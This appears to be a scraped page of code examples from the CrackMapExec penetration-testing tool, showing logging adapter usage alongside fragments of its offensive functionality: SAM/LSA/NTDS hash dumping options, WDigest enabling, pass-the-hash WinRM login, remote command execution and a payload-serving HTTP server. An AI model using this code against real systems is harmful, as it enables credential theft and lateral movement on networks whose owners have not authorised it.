Exemplo n.º 1
0
 def proto_logger(self):
     self.logger = CMEAdapter(extra={
                                     'protocol': "SMB",
                                     'host': self.host,
                                     'port': "445",
                                     'hostname': self.hostname
                                     })
Exemplo n.º 2
0
 def log_message(self, format, *args):
     module = self.server.host_chain[self.client_address[0]][0]
     server_logger = CMEAdapter(getLogger('CME'), {
         'module': module.name.upper(),
         'host': self.client_address[0]
     })
     server_logger.info("- - %s" % (format % args))
Exemplo n.º 3
0
 def log_message(self, format, *args):
     server_logger = CMEAdapter(
         extra={
             'module': self.server.module.name.upper(),
             'host': self.client_address[0]
         })
     server_logger.info("- - %s" % (format % args))
Exemplo n.º 4
0
 def proto_logger(self, host, port, hostname):
     self.logger = CMEAdapter(extra={
                                     'protocol': 'LDAP',
                                     'host': host,
                                     'port': port,
                                     'hostname': hostname
                                     })
Exemplo n.º 5
0
 def proto_logger(self):
     self.logger = CMEAdapter(extra={
                                     'protocol': 'SMB',
                                     'host': self.host,
                                     'port': self.args.port,
                                     'hostname': self.hostname
                                     })
Exemplo n.º 6
0
 def proto_logger(self):
     self.logger = CMEAdapter(
         extra={
             'protocol': 'WINRM',
             'host': self.host,
             'port': 'NONE',
             'hostname': 'NONE'
         })
Exemplo n.º 7
0
    def proto_logger(self):
	#print 'Filename: ' + sys._getframe(0).f_code.co_filename + '		Method: ' + sys._getframe(0).f_code.co_name
        self.logger = CMEAdapter(extra={
                                        'protocol': 'WMI',
                                        'host': self.host,
                                        'port': self.args.port,
                                        'hostname': self.hostname
                                        })
Exemplo n.º 8
0
    def do_GET(self):
        current_module = self.server.host_chain[self.client_address[0]][0]

        if hasattr(current_module, 'on_request'):

            module_list = self.server.host_chain[self.client_address[0]][:]
            module_list.reverse()

            final_launcher = module_list[0].launcher(
                self.server.context,
                None if not hasattr(module_list[0], 'command') else
                module_list[0].command)
            if len(module_list) > 2:
                for module in module_list:
                    if module == current_module or module == module_list[0]:
                        continue

                    server_logger = CMEAdapter(
                        getLogger('CME'), {
                            'module': module.name.upper(),
                            'host': self.client_address[0]
                        })
                    self.server.context.log = server_logger

                    final_launcher = module.launcher(self.server.context,
                                                     final_launcher)

            server_logger = CMEAdapter(
                getLogger('CME'), {
                    'module': current_module.name.upper(),
                    'host': self.client_address[0]
                })
            self.server.context.log = server_logger

            if current_module == module_list[0]:
                final_launcher = None if not hasattr(
                    module_list[0], 'command') else module_list[0].command

            launcher = current_module.launcher(self.server.context,
                                               final_launcher)
            payload = current_module.payload(self.server.context,
                                             final_launcher)

            current_module.on_request(self.server.context, self, launcher,
                                      payload)

            if not hasattr(current_module, 'on_response'):
                try:
                    del self.server.host_chain[self.client_address[0]][0]
                except KeyError or IndexError:
                    pass
Exemplo n.º 9
0
    def __init__(self, module, context, logger, srv_host, port, server_type='https'):

        try:
            threading.Thread.__init__(self)

            self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
            self.server.hosts   = []
            self.server.module  = module
            self.server.context = context
            self.server.log     = CMEAdapter(extra={'module': self.server.module.name.upper()})
            self.cert_path      = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
            self.server.track_host = self.track_host

            logging.debug('CME server type: ' + server_type)
            if server_type == 'https':
                self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)

        except Exception as e:
            errno, message = e.args
            if errno == 98 and message == 'Address already in use':
                logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
            else:
                logger.error('Error starting HTTP(S) server: {}'.format(message))

            sys.exit(1)
Exemplo n.º 10
0
    def init_module(self, module_path):

        module  = None
        server  = None
        context = None

        module = self.load_module(module_path)

        if module:
            module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()})
            context = Context(self.db, module_logger, self.args)

            module_options = {}

            for option in self.args.module_options:
                key, value = option.split('=', 1)
                module_options[str(key).upper()] = value

            module.options(context, module_options)

            if hasattr(module, 'on_request') or hasattr(module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not self.server_port:
                    self. server_port = self.args.server_port

                server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server)
                server.start()

            return module, context, server
Exemplo n.º 11
0
    def call_modules(self):
        module_logger = CMEAdapter(
            extra={
                'module': self.module.name.upper(),
                'host': self.host,
                'port': self.args.port,
                'hostname': self.hostname
            })

        context = Context(self.db, module_logger, self.args)
        context.localip = self.local_ip

        if hasattr(self.module, 'on_request') or hasattr(
                self.module, 'has_response'):
            self.server.connection = self
            self.server.context.localip = self.local_ip

        if hasattr(self.module, 'on_login'):
            self.module.on_login(context, self)

        if self.admin_privs and hasattr(self.module, 'on_admin_login'):
            self.module.on_admin_login(context, self)

        if (not hasattr(self.module, 'on_request')
                and not hasattr(self.module, 'has_response')) and hasattr(
                    self.module, 'on_shutdown'):
            self.module.on_shutdown(context, self)
Exemplo n.º 12
0
 def proto_logger(self, port):
     self.logger = CMEAdapter(
         extra={
             'protocol': 'HTTP',
             'host': gethostbyname(self.host),
             'port': port,
             'hostname': None
         })
Exemplo n.º 13
0
 def do_GET(self):
     if hasattr(self.server.module, 'on_request'):
         server_logger = CMEAdapter(
             getLogger('CME'), {
                 'module': self.server.module.name.upper(),
                 'host': self.client_address[0]
             })
         self.server.context.log = server_logger
         self.server.module.on_request(self.server.context, self)
Exemplo n.º 14
0
 def do_POST(self):
     if hasattr(self.server.module, 'on_response'):
         server_logger = CMEAdapter(
             extra={
                 'module': self.server.module.name.upper(),
                 'host': self.client_address[0]
             })
         self.server.context.log = server_logger
         self.server.module.on_response(self.server.context, self)
Exemplo n.º 15
0
    def module_logger(self, module):
	# recreating the context necessary for send_fake_response()
        module_log = CMEAdapter(extra={
                                          'module': module.name.upper(),
                                          'host': self.host,
                                          'port': self.args.port,
                                          'hostname': self.hostname
                                         })

        self.db.add_computer(self.host, self.hostname, 'XXX', 'Vindovs')
        context = Context(self.db, module_log, self.args)
        return context
Exemplo n.º 16
0
    def init_module_chain(self):
        server_port_dict = {'http': 80, 'https': 443}
        modules = self.get_modules()

        #Initialize all modules specified in the chain command and add the objects to chain_list
        for chained_module in self.chain_list:
            for module in modules:
                if module.lower() == chained_module['name'].lower():
                    chained_module['object'] = self.load_module(
                        modules[module]['path'])

        for module in self.chain_list:
            module_logger = CMEAdapter(getLogger('CME'),
                                       {'module': module['name'].upper()})
            context = Context(self.db, module_logger, self.args)

            if module['object'] != self.chain_list[-1]['object']:
                module['options']['COMMAND'] = 'dont notice me senpai'
            getattr(module['object'], 'options')(context, module['options'])

            if hasattr(module['object'], 'required_server'):
                self.args.server = getattr(module['object'], 'required_server')

        if not self.args.server_port:
            self.args.server_port = server_port_dict[self.args.server]

        if self.is_module_chain_sane():
            server_logger = CMEAdapter(getLogger('CME'),
                                       {'module': 'CMESERVER'})
            context = Context(self.db, server_logger, self.args)

            server = CMEChainServer(self.chain_list, context, self.logger,
                                    self.args.server_host,
                                    self.args.server_port, self.args.server)
            server.start()
            return self.chain_list, server

        return None, None
Exemplo n.º 17
0
    def do_POST(self):
        self.server.log.debug(self.server.host_chain)
        module = self.server.host_chain[self.client_address[0]][0]

        if hasattr(module, 'on_response'):
            server_logger = CMEAdapter(getLogger('CME'), {
                'module': module.name.upper(),
                'host': self.client_address[0]
            })
            self.server.context.log = server_logger
            module.on_response(self.server.context, self)

            try:
                del self.server.host_chain[self.client_address[0]][0]
            except KeyError or IndexError:
                pass
Exemplo n.º 18
0
    def init_module(self, module_path):

        module = None
        server = None
        context = None
        server_port_dict = {'http': 80, 'https': 443}

        module = self.load_module(module_path)

        if module:
            module_logger = CMEAdapter(getLogger('CME'),
                                       {'module': module.name.upper()})
            context = Context(self.db, module_logger, self.args)

            module_options = {}

            for option in self.args.module_options:
                if '=' not in option:
                    self.logger.error(
                        'All module options should be in KEY=VALUE format, use the --show-options flag to view available module options'
                    )
                    sys.exit(1)

                key, value = option.split('=', 1)
                module_options[str(key).upper()] = value

            module.options(context, module_options)

            if hasattr(module, 'on_request') or hasattr(
                    module, 'has_response'):

                if hasattr(module, 'required_server'):
                    self.args.server = getattr(module, 'required_server')

                if not self.args.server_port:
                    self.args.server_port = server_port_dict[self.args.server]

                server = CMEServer(module, context, self.logger,
                                   self.args.server_host,
                                   self.args.server_port, self.args.server)
                server.start()

            return module, context, server
Exemplo n.º 19
0
    def init_module(self, module_path):

        module = None

        module = self.load_module(module_path)

        if module:
            module_logger = CMEAdapter(extra={'module': module.name.upper()})
            context = Context(self.db, module_logger, self.args)

            module_options = {}

            for option in self.args.module_options:
                key, value = option.split('=', 1)
                module_options[str(key).upper()] = value

            module.options(context, module_options)

        return module
Exemplo n.º 20
0
    def do_GET(self):
        if hasattr(self.server.module, 'on_request'):
            server_logger = CMEAdapter(
                getLogger('CME'), {
                    'module': self.server.module.name.upper(),
                    'host': self.client_address[0]
                })
            self.server.context.log = server_logger

            launcher = self.server.module.launcher(
                self.server.context,
                None if not hasattr(self.server.module, 'command') else
                self.server.module.command)
            payload = self.server.module.payload(
                self.server.context,
                None if not hasattr(self.server.module, 'command') else
                self.server.module.command)

            self.server.module.on_request(self.server.context, self, launcher,
                                          payload)
Exemplo n.º 21
0
    def proto_flow(self):
        if self.create_conn_obj():
            self.enum_host_info()
            self.proto_logger()
            self.print_host_info()
            self.login()
            if hasattr(self.args, 'module') and self.args.module:
                module_logger = CMEAdapter(
                    extra={
                        'module': self.module.name.upper(),
                        'host': self.host,
                        'port': self.args.smb_port,
                        'hostname': self.hostname
                    })

                context = Context(self.db, module_logger, self.args)
                context.localip = self.local_ip

                if hasattr(self.module, 'on_request') or hasattr(
                        self.module, 'has_response'):
                    self.server.connection = self
                    self.server.context.localip = self.local_ip

                if hasattr(self.module, 'on_login'):
                    self.module.on_login(context, self)

                if self.admin_privs and hasattr(self.module, 'on_admin_login'):
                    self.module.on_admin_login(context, self)

                if (not hasattr(self.module, 'on_request') and
                        not hasattr(self.module, 'has_response')) and hasattr(
                            self.module, 'on_shutdown'):
                    self.module.on_shutdown(context, self)

            else:
                self.call_cmd_args()
Exemplo n.º 22
0
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname) 
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain     = smb.getServerDomain()
        servername = smb.getServerName()
        serveros   = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})

        logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)

            if (connection.password is not None or connection.hash is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
                    context = Context(db, module_logger, args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module, 'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(args.command, get_output=get_output)

                        if args.pscommand:
                            output = connection.execute(create_ps_command(args.pscommand), get_output=get_output)

                        logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else ''))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()
                        
                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port, connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()

    except socket.error:
        return
Exemplo n.º 23
0
def main():

    VERSION  = '3.1'
    CODENAME = '\'Duchess\''

    parser = argparse.ArgumentParser(description=""" 
      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______ 
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |     
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|


                     Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r

                           Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)

                                                       Inspired by:
                                @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
                                @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
                                @pentestgeek's smbexec https://github.com/pentestgeek/smbexec
                                                         
                                                      {}: {}
                                                  {}: {}
    """.format(highlight('Version', 'red'),
               highlight(VERSION),
               highlight('Codename', 'red'),
               highlight(CODENAME)),

                                    formatter_class=RawTextHelpFormatter,
                                    version='{} - {}'.format(VERSION, CODENAME),
                                    epilog='I swear I had something for this...')

    parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
    parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
    parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication')
    parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
    parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
    msgroup = parser.add_mutually_exclusive_group()
    msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
    msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
    parser.add_argument("-M", "--module", metavar='MODULE', dest='module', help='Payload module to use')
    parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
    parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
    parser.add_argument('--show-options', action='store_true', dest='show_options', help='Display module options')
    parser.add_argument("--share", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
    parser.add_argument("--smb-port", dest='smb_port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
    parser.add_argument("--mssql-port", dest='mssql_port', default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
    parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
    parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
    parser.add_argument("--server-port", dest='server_port', metavar='PORT', type=int, help='Start the server on the specified port')
    parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate locally to each target')
    parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
    parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output")

    rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
    rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
    rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
    rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
    rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
    rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
    rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")

    egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
    egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="Enumerate shares and access")
    egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
    egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions')
    egroup.add_argument('--disks', action='store_true', dest='enum_disks', help='Enumerate disks')
    egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users')
    egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
    egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy')
    egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
    egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
    egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', dest='wmi_namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')

    sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
    sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
    sgroup.add_argument("--content", dest='search_content', action='store_true', help='Enable file content searching')
    sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', dest='exclude_dirs', help='Directories to exclude from spidering')
    esgroup = sgroup.add_mutually_exclusive_group()
    esgroup.add_argument("--pattern", nargs='*', help='Pattern(s) to search for in folders, filenames and file content')
    esgroup.add_argument("--regex", nargs='*', help='Regex(s) to search for in folders, filenames and file content')
    sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')

    cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
    cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
    cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
    cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output')
    cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
    cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Execute the specified PowerShell command')

    mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs")
    mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs')
    mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')

    logger = CMEAdapter(setup_logger())
    first_run_setup(logger)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)
    
    cme_path = os.path.expanduser('~/.cme')

    module  = None
    server  = None
    context = None
    targets = []
    server_port_dict = {'http': 80, 'https': 443}

    args = parser.parse_args()

    if args.verbose:
        setup_debug_logger()

    if not args.server_port:
        args.server_port = server_port_dict[args.server]

    db_path = os.path.join(cme_path, 'cme.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = CMEDatabase(db_connection)

    if args.cred_id:
        try:
            c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0]
            args.username = [username]

            if not args.domain:
                args.domain = domain
            if credtype == 'hash':
                args.hash = [password]
            elif credtype == 'plaintext':
                args.password = [password]
        except IndexError:
            logger.error("Invalid database credential ID!")
            sys.exit(1)
    else:
        for user in args.username:
            if os.path.exists(user):
                args.username.remove(user)
                args.username.append(open(user, 'r'))

        if args.password:
            for passw in args.password:
                if os.path.exists(passw):
                    args.password.remove(passw)
                    args.password.append(open(passw, 'r'))

        elif args.hash:
            for ntlm_hash in args.hash:
                if os.path.exists(ntlm_hash):
                    args.hash.remove(ntlm_hash)
                    args.hash.append(open(ntlm_hash, 'r'))

    for target in args.target:
        if os.path.exists(target):
            with open(target, 'r') as target_file:
                for target_entry in target_file:
                    targets.extend(parse_targets(target_entry))
        else:
            targets.extend(parse_targets(target))

    
    loader = ModuleLoader(args, db, logger)
    modules = loader.get_modules()

    if args.list_modules:
        for m in modules:
            logger.info('{:<20} {}'.format(m, modules[m]['description']))

    elif args.module:
        for m in modules.keys():
            if args.module.lower() == m.lower():
                if args.show_options:
                    logger.info('{} module options:\n{}'.format(m, modules[m]['options']))
                elif not args.show_options:
                    module, context, server = loader.init_module(modules[m]['path'])

    try:
        '''
            Open all the greenlet (as supposed to redlet??) threads 
            Whoever came up with that name has a fetish for traffic lights
        '''
        pool = Pool(args.threads)
        jobs = [pool.spawn(connector, str(target), args, db, module, context, server) for target in targets]

        #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
        if args.ntds or args.spider:
            joinall(jobs)
        elif not args.ntds:
            for job in jobs:
                job.join(timeout=args.timeout)
    except KeyboardInterrupt:
        pass

    if server:
        server.shutdown()

    logger.info('KTHXBYE!')
Exemplo n.º 24
0
import asyncio
import aioconsole
import functools
import configparser
import cme.helpers.powershell as powershell
import cme
import shutil
import webbrowser
import sqlite3
import random
import os
import sys
import logging

setup_logger()
logger = CMEAdapter()


async def monitor_threadpool(pool, targets):
    logging.debug('Started thread poller')

    while True:
        try:
            text = await aioconsole.ainput("")
            if text == "":
                pool_size = pool._work_queue.qsize()
                finished_threads = len(targets) - pool_size
                percentage = Decimal(finished_threads) / Decimal(
                    len(targets)) * Decimal(100)
                logger.info(
                    f"completed: {percentage:.2f}% ({finished_threads}/{len(targets)})"
Exemplo n.º 25
0
class winrm(connection):

    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser])
        winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
        winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
        winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
        winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port")
        dgroup = winrm_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')

        cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        return parser

    def proto_flow(self):
        self.proto_logger()
        if self.create_conn_obj():
            self.enum_host_info()
            self.print_host_info()
            if self.login():
                if hasattr(self.args, 'module') and self.args.module:
                    self.call_modules()
                else:
                    self.call_cmd_args()

    def proto_logger(self):
        self.logger = CMEAdapter(extra={'protocol': 'WINRM',
                                        'host': self.host,
                                        'port': 'NONE',
                                        'hostname': 'NONE'})

    def enum_host_info(self):
        # smb no open, specify the domain
        if self.args.domain:
            self.domain = self.args.domain
            self.logger.extra['hostname'] = self.hostname
        else:
            try:
                smb_conn = SMBConnection(self.host, self.host, None)
                try:
                    smb_conn.login('', '')
                except SessionError as e:
                    if "STATUS_ACCESS_DENIED" in e.message:
                        pass

                self.domain = smb_conn.getServerDNSDomainName()
                self.hostname = smb_conn.getServerName()
                self.server_os = smb_conn.getServerOS()
                self.logger.extra['hostname'] = self.hostname

                try:
                    smb_conn.logoff()
                except:
                    pass

            except Exception as e:
                logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

    def print_host_info(self):
        if self.args.domain:
            self.logger.info(self.endpoint)
        else:    
            self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os,
                                                                    self.hostname,
                                                                    self.domain))
            self.logger.info(self.endpoint)
        

    def create_conn_obj(self):

        endpoints = [
            'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986),
            'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985)
        ]

        for url in endpoints:
            try:
                requests.get(url, verify=False, timeout=3)
                self.endpoint = url
                if self.endpoint.startswith('https://'):
                    self.port = self.args.port if self.args.port else 5986
                else:
                    self.port = self.args.port if self.args.port else 5985

                self.logger.extra['port'] = self.port

                return True
            except Exception as e:
                if 'Max retries exceeded with url' not in str(e):
                    logging.debug('Error in WinRM create_conn_obj:' + str(e))

        return False

    def plaintext_login(self, domain, username, password):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            self.conn = Client(self.host,
                                        auth='ntlm',
                                        username=u'{}\\{}'.format(domain, username),
                                        password=password,
                                        ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
                                                       username,
                                                       password,
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e): 
                self.logger.error(u'{}\\{}:{}'.format(self.domain,
                                                        username,
                                                        password))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
                                                        username,
                                                        password,
                                                        e))

            return False

    def hash_login(self, domain, username, ntlm_hash):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            lmhash = '00000000000000000000000000000000:'
            nthash = ''

            #This checks to see if we didn't provide the LM Hash
            if ntlm_hash.find(':') != -1:
                lmhash, nthash = ntlm_hash.split(':')
            else:
                nthash = ntlm_hash
                ntlm_hash = lmhash + nthash

            self.hash = nthash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash
            self.conn = Client(self.host,
                                        auth='ntlm',
                                        username=u'{}\\{}'.format(domain, username),
                                        password=ntlm_hash,
                                        ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
                                                       username,
                                                       self.hash,
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e): 
                self.logger.error(u'{}\\{}:{}'.format(self.domain,
                                                        username,
                                                        self.hash))
            else:
